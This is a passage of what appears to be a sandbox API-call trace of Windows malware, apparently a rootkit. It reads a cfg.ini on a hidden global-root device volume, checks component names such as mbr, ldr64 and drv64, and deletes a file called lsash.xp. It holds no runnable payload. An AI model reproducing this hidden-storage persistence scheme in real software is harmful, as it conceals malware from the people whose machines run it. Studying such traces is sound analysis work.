[0127.142] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.142] KeLeaveCriticalRegion () [0127.142] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.142] KeEnterCriticalRegion () [0127.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.142] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.142] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.142] KeLeaveCriticalRegion () [0127.142] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.142] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.142] KeEnterCriticalRegion () [0127.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.142] ExFreePoolWithTag (P=0xfffffa800c4f78b0, Tag=0x0) [0127.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.142] KeLeaveCriticalRegion () [0127.142] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.142] ReleaseMutex (hMutex=0xf0) returned 1 [0127.142] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.142] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.142] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.143] KeEnterCriticalRegion () [0127.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.143] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.143] IdePortDispatch () returned 0x103 [0127.143] KeWaitForMutexObject () returned 0x0 [0127.143] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.143] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.143] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.143] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.143] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.143] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da900 [0127.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.143] KeLeaveCriticalRegion () [0127.143] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.143] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.143] KeEnterCriticalRegion () [0127.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.143] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.143] KeLeaveCriticalRegion () [0127.143] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.143] KeEnterCriticalRegion () [0127.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.143] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.143] IdePortDispatch () returned 0x103 [0127.144] KeWaitForMutexObject () returned 0x0 [0127.144] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.144] KeLeaveCriticalRegion () [0127.144] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.144] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.144] KeEnterCriticalRegion () [0127.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8e000 [0127.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.144] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.144] IdePortDispatch () returned 0x103 [0127.144] KeWaitForMutexObject () returned 0x0 [0127.144] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.144] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.144] IdePortDispatch () returned 0x103 [0127.145] KeWaitForMutexObject () returned 0x0 [0127.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.145] KeLeaveCriticalRegion () [0127.145] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.145] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.145] KeEnterCriticalRegion () [0127.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.145] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.145] KeLeaveCriticalRegion () [0127.145] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.145] KeEnterCriticalRegion () [0127.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.145] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.145] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcbd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.145] KeLeaveCriticalRegion () [0127.145] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.146] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.146] KeEnterCriticalRegion () [0127.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.146] ExFreePoolWithTag (P=0xfffffa80037da900, Tag=0x0) [0127.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.146] KeLeaveCriticalRegion () [0127.146] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.146] ReleaseMutex (hMutex=0xf0) returned 1 [0127.146] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.146] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.146] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.146] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.146] KeEnterCriticalRegion () [0127.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.146] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.146] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.146] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.146] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.146] IdePortDispatch () returned 0x103 [0127.146] KeWaitForMutexObject () returned 0x0 [0127.146] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.146] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.146] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.146] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.146] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.147] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.147] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.147] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.147] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.147] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.147] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.147] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.147] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.147] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.147] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.147] KeLeaveCriticalRegion () [0127.147] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.147] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.147] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.147] KeEnterCriticalRegion () [0127.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.147] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.149] IdePortDispatch () returned 0x103 [0127.149] KeWaitForMutexObject () returned 0x0 [0127.149] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.149] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.149] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.149] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.149] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.149] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.149] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.149] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.149] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.150] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.150] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.150] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.150] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.150] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.150] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.150] KeLeaveCriticalRegion () [0127.150] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.150] ReleaseMutex (hMutex=0x100) returned 1 [0127.150] Sleep (dwMilliseconds=0x2bf20) [0127.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6efc7f70, dwHighDateTime=0x1d24fa4)) [0127.159] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.159] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.159] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.159] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.159] KeEnterCriticalRegion () [0127.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.159] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.159] IdePortDispatch () returned 0x103 [0127.159] KeWaitForMutexObject () returned 0x0 [0127.160] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.160] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.160] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.160] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.160] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.160] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f77b0 [0127.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.160] KeLeaveCriticalRegion () [0127.160] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.160] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.160] KeEnterCriticalRegion () [0127.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.160] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.160] KeLeaveCriticalRegion () [0127.160] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.160] KeEnterCriticalRegion () [0127.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.160] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.160] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.160] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.160] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.160] IdePortDispatch () returned 0x103 [0127.161] KeWaitForMutexObject () returned 0x0 [0127.161] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.161] KeLeaveCriticalRegion () [0127.161] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.161] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.161] KeEnterCriticalRegion () [0127.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.161] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b91000 [0127.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.161] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.161] IdePortDispatch () returned 0x103 [0127.161] KeWaitForMutexObject () returned 0x0 [0127.161] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.162] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.162] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.162] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.162] IdePortDispatch () returned 0x103 [0127.162] KeWaitForMutexObject () returned 0x0 [0127.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.162] KeLeaveCriticalRegion () [0127.162] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.162] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.163] KeEnterCriticalRegion () [0127.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.163] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.163] KeLeaveCriticalRegion () [0127.163] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.163] KeEnterCriticalRegion () [0127.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.163] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.163] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.163] KeLeaveCriticalRegion () [0127.163] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.163] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.163] KeEnterCriticalRegion () [0127.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.163] ExFreePoolWithTag (P=0xfffffa800c4f77b0, Tag=0x0) [0127.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.163] KeLeaveCriticalRegion () [0127.163] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.163] ReleaseMutex (hMutex=0xf0) returned 1 [0127.163] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.170] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.170] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.170] KeEnterCriticalRegion () [0127.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.170] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.170] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.170] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.170] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.170] IdePortDispatch () returned 0x103 [0127.170] KeWaitForMutexObject () returned 0x0 [0127.170] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.170] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.170] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.170] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.170] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.170] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf50c0 [0127.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.171] KeLeaveCriticalRegion () [0127.171] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.171] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.171] KeEnterCriticalRegion () [0127.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.171] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.171] KeLeaveCriticalRegion () [0127.171] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.171] KeEnterCriticalRegion () [0127.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 